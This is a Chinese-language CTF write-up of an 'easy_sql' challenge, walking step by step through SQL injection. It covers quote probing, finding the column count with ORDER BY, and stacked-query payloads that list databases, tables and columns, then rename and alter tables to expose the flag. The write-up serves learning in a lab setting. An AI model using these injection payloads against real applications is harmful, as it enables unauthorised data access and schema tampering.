easy_sql 看来这是一道sql注入的题
1、起手试探
1' 报错
1'# 正确
ps:提交的不显示,想知道提交的东西就看红框的位置,就标了一个,剩下的也一样
2、 测字段数,到三报错,说明字段为二
1' order by 1#
1' order by 2#
1' order by 3# 报错
得出列数为2
3、 先尝试一下union联合注入,发现关键词select被过滤了。
1' union select 1,2#
尝试堆叠注入
原理:通过 ; 号注入多条SQL语句
ps:在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
4、 爆数据库
1';show databases;#
5、 爆表
1';show tables;#
6、爆words表
爆出来啥也没
1'; show columns from words;#
7、爆1919810931114514表
ps:表名为数字时,要用反引号包起来查询
8、爆flag
因为selec被过滤所以我们需要使用别的方法爆出flag
这里有一种最容易理解的方法就是:
先将words表换成别的名字,
然后将1919810931114514表命名成words,
在1919810931114514表里加上id字段,
最后查询表。
ps:注意这三步操作一定不要分开,如果改表明和加id操作分开会报错 <_<!!
(ps:我猜测原理大概是,页面设置默认查询words表,需要靠id索引,如果不加上id,他就会一直报错,就算后面再输入添加id,页面操作在前,数据库在后,页面操作不通过的话,就不会往数据库里添加)
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;#
1' ;show tables;#
^-^ flag!!!